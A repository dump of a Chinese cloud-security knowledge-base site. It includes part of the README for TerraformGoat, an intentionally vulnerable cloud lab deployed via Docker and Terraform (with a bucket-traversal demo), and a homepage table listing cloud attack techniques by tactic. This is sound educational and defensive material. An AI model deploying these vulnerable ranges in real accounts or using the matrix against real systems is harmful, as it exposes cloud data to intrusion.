registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.6 90 | docker run -itd --name terraformgoat_aliyun_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.6 91 | docker exec -it terraformgoat_aliyun_0.0.6 /bin/bash 92 | ``` 93 | 94 | 腾讯云 95 | 96 | ```bash 97 | docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.6 98 | docker run -itd --name terraformgoat_tencentcloud_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.6 99 | docker exec -it terraformgoat_tencentcloud_0.0.6 /bin/bash 100 | ``` 101 | 102 | 华为云 103 | 104 | ```bash 105 | docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_huaweicloud:0.0.6 106 | docker run -itd --name terraformgoat_huaweicloud_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_huaweicloud:0.0.6 107 | docker exec -it terraformgoat_huaweicloud_0.0.6 /bin/bash 108 | ``` 109 | 110 | Amazon Web Services 111 | 112 | ```bash 113 | docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aws:0.0.6 114 | docker run -itd --name terraformgoat_aws_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aws:0.0.6 115 | docker exec -it terraformgoat_aws_0.0.6 /bin/bash 116 | ``` 117 | 118 | Google Cloud Platform 119 | 120 | ```bash 121 | docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_gcp:0.0.6 122 | docker run -itd --name terraformgoat_gcp_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_gcp:0.0.6 123 | docker exec -it terraformgoat_gcp_0.0.6 /bin/bash 124 | ``` 125 | 126 | Microsoft Azure 127 | 128 | ```bash 129 | docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_azure:0.0.6 130 | docker run -itd --name terraformgoat_azure_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_azure:0.0.6 131 | docker exec -it terraformgoat_azure_0.0.6 /bin/bash 132 | ``` 133 | 134 | ## :page_facing_up: 演示 135 | 136 | 进入到容器后,cd 到对应的场景目录,就可以开始部署靶场了,这里以 [阿里云 Bucket 对象遍历](https://github.com/HXSecurity/TerraformGoat/tree/main/aliyun/oss/bucket_object_traversal) 漏洞场景的搭建进行演示: 137 | 138 | ```bash 139 | docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.6 140 | docker run -itd --name terraformgoat_aliyun_0.0.6 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.6 141 | docker exec -it terraformgoat_aliyun_0.0.6 /bin/bash 142 | ``` 143 | 144 | ![img](/img/1663151143.png) 145 | 146 | ```bash 147 | cd /TerraformGoat/aliyun/oss/bucket_object_traversal/ 148 | aliyun configure 149 | terraform init 150 | terraform apply 151 | ``` 152 | 153 | ![img](/img/1655118969.png) 154 | 155 | 提示`Enter a value:`,输入 `yes` 并回车,使用 curl 访问该 bucket,可以看到遍历到的对象。 156 | 157 | ![img](/img/1655119171.png) 158 | 159 | 为避免云服务继续产生费用,请在复现完后,及时销毁靶场,销毁靶场命令如下: 160 | 161 | ```bash 162 | terraform destroy 163 | ``` 164 | 165 | ## :rocket: 卸载 166 | 167 | 如果在容器中,先执行 `exit` 命令退出容器,然后在宿主机下执行以下命令。 168 | 169 | ```shell 170 | docker stop $(docker ps -a -q -f "name=terraformgoat*") 171 | docker rm $(docker ps -a -q -f "name=terraformgoat*") 172 | docker rmi $(docker images -a -q -f "reference=registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat*") 173 | ``` 174 | 175 | ## :exclamation:注意事项 176 | 177 | 1. 在每个漏洞环境的 README 中都是在 TerraformGoat 容器环境内执行的,因此需要先部署 TerraformGoat 容器环境。 178 | 2. 由于部分靶场存在云上内网横向的风险,因此强烈建议用户使用自己的测试账号配置靶场,避免使用生产环境的云账号,使用 Dockerfile 安装 TerraformGoat 也是为了将用户本地的云厂商令牌和测试账号的令牌进行隔离。 179 | 3. TerraformGoat 仅可用于教育学习目的,不得用于违法犯罪目的,由 TerraformGoat 产生的结果由使用者承担,与 HXSecurity 无关。 180 | 181 | ## :confetti_ball: 贡献 182 | 183 | 我们非常欢迎并感谢你对 TerraformGoat 项目进行贡献,在 [CONTRIBUTING.md](https://github.com/HXSecurity/TerraformGoat/blob/main/CONTRIBUTING.md) 中可以了解贡献流程的细节。 184 | 185 | ## 🪪 许可证 186 | 187 | TerraformGoat 使用 Apache 2.0 许可证,详情参见 [LICENSE](https://github.com/HXSecurity/TerraformGoat/blob/main/LICENSE) 188 | 189 | ## :crystal_ball: Stats 190 | 191 | ![Alt](https://repobeats.axiom.co/api/embed/7b7a9507cda2a2e4ec4303668dfc3e3f15ff29d2.svg "Repobeats analytics image") 192 | -------------------------------------------------------------------------------- /docs/goat/_category_.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "goat", 3 | "position": 2 4 | } 5 | -------------------------------------------------------------------------------- /docs/information/_category_.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "goat", 3 | "position": 2 4 | } 5 | -------------------------------------------------------------------------------- /docusaurus.config.js: -------------------------------------------------------------------------------- 1 | // @ts-check 2 | // Note: type annotations allow type checking and IDEs autocompletion 3 | 4 | const lightCodeTheme = require('prism-react-renderer/themes/github'); 5 | const darkCodeTheme = require('prism-react-renderer/themes/dracula'); 6 | 7 | /** @type {import('@docusaurus/types').Config} */ 8 | const config = { 9 | title: '云安全知识库', 10 | tagline: '由火线安全构建,致力于云安全知识分享', 11 | url: 'https://cloudsec.huoxian.cn', 12 | baseUrl: '/', 13 | onBrokenLinks: 'throw', 14 | onBrokenMarkdownLinks: 'warn', 15 | favicon: 'img/favicon.ico', 16 | organizationName: 'HXSecurity', // Usually your GitHub org/user name. 17 | projectName: 'CloudSecWiki', // Usually your repo name. 18 | 19 | presets: [ 20 | [ 21 | 'classic', 22 | /** @type {import('@docusaurus/preset-classic').Options} */ 23 | ({ 24 | docs: { 25 | remarkPlugins: [require('mdx-mermaid')], 26 | sidebarPath: require.resolve('./sidebars.js'), 27 | // Please change this to your repo. 28 | editUrl: function({ locale, docPath }) { 29 | return `https://github.com/HXSecurity/CloudSecWiki/edit/main/docs/${docPath}`; 30 | }, 31 | showLastUpdateAuthor: true, 32 | showLastUpdateTime: true, 33 | includeCurrentVersion: true, 34 | }, 35 | theme: { 36 | customCss: require.resolve('./src/css/custom.css'), 37 | }, 38 | }), 39 | ], 40 | ], 41 | themes: [ 42 | [ 43 | "@easyops-cn/docusaurus-search-local", 44 | { 45 | hashed: true, 46 | language: ["en", "zh"], 47 | highlightSearchTermsOnTargetPage: true 48 | } 49 | ] 50 | ], 51 | 52 | i18n: { 53 | defaultLocale: 'zh', 54 | locales: ['zh'], 55 | }, 56 | 57 | 58 | themeConfig: 59 | /** @type {import('@docusaurus/preset-classic').ThemeConfig} */ 60 | ({ 61 | metadata: [{ 62 | name: 'keywords', 63 | content: 'cloud, security, cloudsecurity, cloudnative, huoxian, 云安全, 云原生, 火线, 攻防矩阵, 云安全攻防矩阵, 云安全靶场' 64 | }], 65 | navbar: { 66 | title: '云安全知识库', 67 | logo: { 68 | alt: 'HuoXian Security Logo', 69 | src: 'img/logo.png', 70 | }, 71 | items: [{ 72 | type: 'doc', 73 | docId: 'articles', 74 | position: 'left', 75 | label: '技术文章', 76 | }, 77 | { 78 | type: 'doc', 79 | docId: 'goat', 80 | position: 'left', 81 | label: '靶场', 82 | }, 83 | { 84 | type: 'doc', 85 | docId: 'information', 86 | position: 'left', 87 | label: '每日云安全技术资讯', 88 | }, 89 | { 90 | type: 'doc', 91 | docId: 'about', 92 | position: 'left', 93 | label: '关于', 94 | }, 95 | { 96 | href: 'https://github.com/HXSecurity', 97 | label: 'GitHub', 98 | position: 'left', 99 | }, 100 | ], 101 | }, 102 | footer: { 103 | style: 'dark', 104 | copyright: `Copyright © ${new Date().getFullYear()} Huoxian All rights reserved. | 京ICP备20013659号-2 | 北京安全共识科技有限公司`, 105 | }, 106 | prism: { 107 | theme: lightCodeTheme, 108 | darkTheme: darkCodeTheme, 109 | }, 110 | }), 111 | }; 112 | 113 | module.exports = config; -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "website", 3 | "version": "0.0.0", 4 | "private": true, 5 | "scripts": { 6 | "docusaurus": "docusaurus", 7 | "start": "docusaurus start", 8 | "build": "docusaurus build", 9 | "swizzle": "docusaurus swizzle", 10 | "deploy": "docusaurus deploy", 11 | "clear": "docusaurus clear", 12 | "serve": "docusaurus serve", 13 | "write-translations": "docusaurus write-translations", 14 | "write-heading-ids": "docusaurus write-heading-ids" 15 | }, 16 | "dependencies": { 17 | "@docusaurus/core": "2.0.0-beta.18", 18 | "@docusaurus/preset-classic": "2.0.0-beta.18", 19 | "@easyops-cn/docusaurus-search-local": "^0.23.1", 20 | "@mdx-js/react": "^1.6.22", 21 | "clsx": "^1.1.1", 22 | "mdx-mermaid": "^1.2.2", 23 | "mermaid": "^9.1.2", 24 | "prism-react-renderer": "^1.3.1", 25 | "react": "^17.0.2", 26 | "react-dom": "^17.0.2", 27 | "rsuite-table": "^5.5.0" 28 | }, 29 | "browserslist": { 30 | "production": [ 31 | ">0.5%", 32 | "not dead", 33 | "not op_mini all" 34 | ], 35 | "development": [ 36 | "last 1 chrome version", 37 | "last 1 firefox version", 38 | "last 1 safari version" 39 | ] 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /sidebars.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Creating a sidebar enables you to: 3 | - create an ordered group of docs 4 | - render a sidebar for each doc of that group 5 | - provide next/previous navigation 6 | 7 | The sidebars can be generated from the filesystem, or explicitly defined here. 8 | 9 | Create as many sidebars as you want. 10 | */ 11 | 12 | // @ts-check 13 | 14 | /** @type {import('@docusaurus/plugin-content-docs').SidebarsConfig} */ 15 | const sidebars = { 16 | // By default, Docusaurus generates a sidebar from the docs folder structure 17 | docs: [ 18 | 'articles', 19 | { 20 | type: 'category', 21 | label: '腾讯云', 22 | items: [{ 23 | type: 'autogenerated', 24 | dirName: 'articles/tencentcloud', 25 | }, ], 26 | }, { 27 | type: 'category', 28 | label: '阿里云', 29 | items: [{ 30 | type: 'autogenerated', 31 | dirName: 'articles/aliyun', 32 | }, ], 33 | }, { 34 | type: 'category', 35 | label: '华为云', 36 | items: [{ 37 | type: 'autogenerated', 38 | dirName: 'articles/huaweicloud', 39 | }, ], 40 | }, { 41 | type: 'category', 42 | label: 'Amazon Web Services', 43 | items: [{ 44 | type: 'autogenerated', 45 | dirName: 'articles/aws', 46 | }, ], 47 | }, { 48 | type: 'category', 49 | label: 'Google Cloud Platform', 50 | items: [{ 51 | type: 'autogenerated', 52 | dirName: 'articles/gcp', 53 | }, ], 54 | }, { 55 | type: 'category', 56 | label: 'Microsoft Azure', 57 | items: [{ 58 | type: 'autogenerated', 59 | dirName: 'articles/azure', 60 | }, ], 61 | }, 62 | ] 63 | 64 | // But you can create a sidebar manually 65 | /* 66 | tutorialSidebar: [ 67 | { 68 | type: 'category', 69 | label: 'Tutorial', 70 | items: ['hello'], 71 | }, 72 | ], 73 | */ 74 | }; 75 | 76 | module.exports = sidebars; -------------------------------------------------------------------------------- /src/components/HomepageFeatures/index.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import { Table, Column, HeaderCell, Cell } from 'rsuite-table'; 3 | import 'rsuite-table/dist/css/rsuite-table.css'; 4 | 5 | const dataList = [ 6 | {前期侦查: 'API 密钥泄露', 初始访问: 'Bucket 公开访问', 执行: '通过控制台执行', 权限提升: '利用应用程序提权', 权限维持: '在存储对象中植入后门', 防御绕过: '关闭安全监控服务', 信息收集: '用户账号数据泄露', 横向移动: '窃取云凭证横向移动', 影响: 'Bucket 接管'}, 7 | {前期侦查: '控制台账号密码泄露', 初始访问: '特定的访问配置策略', 执行: '利用云厂商命令行工具执行', 权限提升: 'Bucket 策略可写', 权限维持: '写入用户数据', 防御绕过: '在监控区域外攻击', 信息收集: '对象存储敏感数据泄露', 横向移动: '窃取用户账号攻击其他应用', 影响: '任意文件上传覆盖'}, 8 | {前期侦查: '临时访问凭证泄露', 初始访问: '元数据服务未授权访问', 执行: '使用云API执行', 权限提升: 'Object ACL 可写', 权限维持: '在云函数中添加后门', 防御绕过: '停止日志记录', 信息收集: '目标源代码信息', 横向移动: '通过控制台横向移动', 影响: '敏感数据泄露'}, 9 | {前期侦查: '访问密码泄露', 初始访问: '云控制台非法登录', 执行: '写入用户数据执行', 权限提升: 'Bucket ACL 可写', 权限维持: '在自定义镜像库中导入后门镜像', 防御绕过: '日志清理', 信息收集: '共享快照', 横向移动: '使用实例账号爆破', 影响: '破坏存储数据'}, 10 | {前期侦查: 'SDK 泄露', 初始访问: '账号劫持', 执行: '使用对象存储工具执行', 权限提升: '通过访问管理提权', 权限维持: '创建访问密钥', 防御绕过: '通过代理访问', 信息收集: '元数据', 横向移动: '使用用户账号攻击其他应用', 影响: '植入后门'}, 11 | {前期侦查: '前端代码泄露', 初始访问: '恶意的镜像', 执行: '利用后门文件执行', 权限提升: '创建高权限角色', 权限维持: '在 RAM 中创建辅助账号', 防御绕过: '', 信息收集: '云服务访问密钥', 横向移动: 'PostgreSQL 数据库 SSRF', 影响: '拒绝服务'}, 12 | {前期侦查: '共享快照', 初始访问: '网络钓鱼', 执行: '利用应用程序执行', 权限提升: '利用服务自身漏洞进行提权', 权限维持: '利用远控软件', 防御绕过: '', 信息收集: '用户数据', 横向移动: '', 影响: '子域名接管'}, 13 | {前期侦查: '', 初始访问: '应用程序漏洞', 执行: '利用 SSH、RDP 服务登录到实例执行命令', 权限提升: '低权限下收集到数据库里的高权限访问凭证信息', 权限维持: '控制台修改或添加数据库账户密码', 防御绕过: '', 信息收集: '获取配置文件中的应用凭证', 横向移动: '', 影响: '资源劫持'}, 14 | {前期侦查: '', 初始访问: '服务弱口令', 执行: '利用远程命令执行漏洞执行', 权限提升: '在 RAM 中将低权限用户分配高权限策略', 权限维持: '命令行修改或添加数据库账户密码', 防御绕过: '', 信息收集: '获取实例网段信息', 横向移动: '', 影响: '窃取项目源码'}, 15 | {前期侦查: '', 初始访问: '密码访问', 执行: '利用 SDK 执行', 权限提升: '', 权限维持: '共享快照', 防御绕过: '', 信息收集: '数据库连接历史记录', 横向移动: '', 影响: '窃取用户数据'}, 16 | {前期侦查: '', 初始访问: '密钥访问', 执行: '数据库连接工具', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '数据库其他用户账号密码', 横向移动: '', 影响: '篡改数据'}, 17 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '数据库中的敏感信息', 横向移动: '', 影响: '加密勒索'}, 18 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '警告通知邮箱', 横向移动: '', 影响: '恶意公开共享'}, 19 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '性能详情', 横向移动: '', 影响: '恶意修改安全组'}, 20 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: 'MSSQL 读取实例文件', 横向移动: '', 影响: '恶意释放弹性IP'}, 21 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '流日志', 横向移动: '', 影响: '恶意修改防火墙策略'}, 22 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '安全组配置信息', 横向移动: '', 影响: 'LB 中的 HTTP 请求走私攻击'}, 23 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: 'RAM 用户角色权限信息', 横向移动: '', 影响: 'Bucket 爆破'}, 24 | {前期侦查: '', 初始访问: '', 执行: '', 权限提升: '', 权限维持: '', 防御绕过: '', 信息收集: '', 横向移动: '', 影响: 'Bucket Object 遍历'} 25 | ]; 26 | 27 | export default function HomepageFeatures(){ 28 | return ( 29 | 30 | 31 | 前期侦查 32 | 33 | 34 | 35 | 初始访问 36 | 37 | 38 | 39 | 执行 40 | 41 | 42 | 43 | 权限提升 44 | 45 | 46 | 47 | 权限维持 48 | 49 | 50 | 51 | 防御绕过 52 | 53 | 54 | 55 | 信息收集 56 | 57 | 58 | 59 | 横向移动 60 | 61 | 62 | 63 | 影响 64 | 65 | 66 |
67 | ) 68 | }; -------------------------------------------------------------------------------- /src/components/HomepageFeatures/styles.module.css: -------------------------------------------------------------------------------- 1 | /** 2 | * CSS files with the .module.css suffix will be treated as CSS modules 3 | * and scoped locally. 4 | */ 5 | 6 | .heroBanner { 7 | padding: 4rem 0; 8 | text-align: center; 9 | position: relative; 10 | overflow: hidden; 11 | } -------------------------------------------------------------------------------- /src/css/custom.css: -------------------------------------------------------------------------------- 1 | /** 2 | * Any CSS included here will be global. The classic template 3 | * bundles Infima by default. Infima is a CSS framework designed to 4 | * work well for content-centric websites. 5 | */ 6 | 7 | /* You can override the default Infima variables here. */ 8 | :root { 9 | --ifm-color-primary: #d84e3f; 10 | --ifm-color-primary-dark: #d13b2a; 11 | --ifm-color-primary-darker: #c53728; 12 | --ifm-color-primary-darkest: #a22e21; 13 | --ifm-color-primary-light: #dd6356; 14 | --ifm-color-primary-lighter: #df6e62; 15 | --ifm-color-primary-lightest: #e68e85; 16 | --ifm-code-font-size: 95%; 17 | } 18 | 19 | /* For readability concerns, you should choose a lighter palette in dark mode. */ 20 | [data-theme='dark'] { 21 | --ifm-color-primary: #d84e3f; 22 | --ifm-color-primary-dark: #d13b2a; 23 | --ifm-color-primary-darker: #c53728; 24 | --ifm-color-primary-darkest: #a22e21; 25 | --ifm-color-primary-light: #dd6356; 26 | --ifm-color-primary-lighter: #df6e62; 27 | --ifm-color-primary-lightest: #e68e85; 28 | } 29 | 30 | .docusaurus-highlight-code-line { 31 | background-color: rgba(0, 0, 0, 0.1); 32 | display: block; 33 | margin: 0 calc(-1 * var(--ifm-pre-padding)); 34 | padding: 0 var(--ifm-pre-padding); 35 | } 36 | 37 | [data-theme='dark'] .docusaurus-highlight-code-line { 38 | background-color: rgba(0, 0, 0, 0.3); 39 | } -------------------------------------------------------------------------------- /src/pages/index.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import clsx from 'clsx'; 3 | import Layout from '@theme/Layout'; 4 | import useDocusaurusContext from '@docusaurus/useDocusaurusContext'; 5 | import styles from './index.module.css'; 6 | import HomepageFeatures from '@site/src/components/HomepageFeatures'; 7 | 8 | 9 | 10 | function HomepageHeader() { 11 | const {siteConfig} = useDocusaurusContext(); 12 | return ( 13 |
14 |
15 |

{siteConfig.title}

16 |

{siteConfig.tagline}

17 |
18 |
19 | ); 20 | } 21 | 22 | export default function Home() { 23 | const {siteConfig} = useDocusaurusContext(); 24 | return ( 25 | 28 | 29 |

30 |

云服务攻防矩阵

31 |

32 |
33 | 34 |
35 |
36 | ); 37 | } 38 | -------------------------------------------------------------------------------- /src/pages/index.module.css: -------------------------------------------------------------------------------- 1 | /** 2 | * CSS files with the .module.css suffix will be treated as CSS modules 3 | * and scoped locally. 4 | */ 5 | 6 | .heroBanner { 7 | padding: 4rem 0; 8 | text-align: center; 9 | position: relative; 10 | overflow: hidden; 11 | } -------------------------------------------------------------------------------- /src/pages/markdown-page.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Markdown page example 3 | --- 4 | 5 | # Markdown page example 6 | 7 | You don't need React to write simple standalone pages. 8 | -------------------------------------------------------------------------------- /static/.nojekyll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HXSecurity/CloudSecWiki/e2b8c78f1af914f162fee30dacece383c8b4b3af/static/.nojekyll -------------------------------------------------------------------------------- /static/img/1655118969.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HXSecurity/CloudSecWiki/e2b8c78f1af914f162fee30dacece383c8b4b3af/static/img/1655118969.png -------------------------------------------------------------------------------- /static/img/1655119171.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HXSecurity/CloudSecWiki/e2b8c78f1af914f162fee30dacece383c8b4b3af/static/img/1655119171.png -------------------------------------------------------------------------------- /static/img/1663151143.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HXSecurity/CloudSecWiki/e2b8c78f1af914f162fee30dacece383c8b4b3af/static/img/1663151143.png -------------------------------------------------------------------------------- /static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HXSecurity/CloudSecWiki/e2b8c78f1af914f162fee30dacece383c8b4b3af/static/img/favicon.ico -------------------------------------------------------------------------------- /static/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HXSecurity/CloudSecWiki/e2b8c78f1af914f162fee30dacece383c8b4b3af/static/img/logo.png -------------------------------------------------------------------------------- /static/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: --------------------------------------------------------------------------------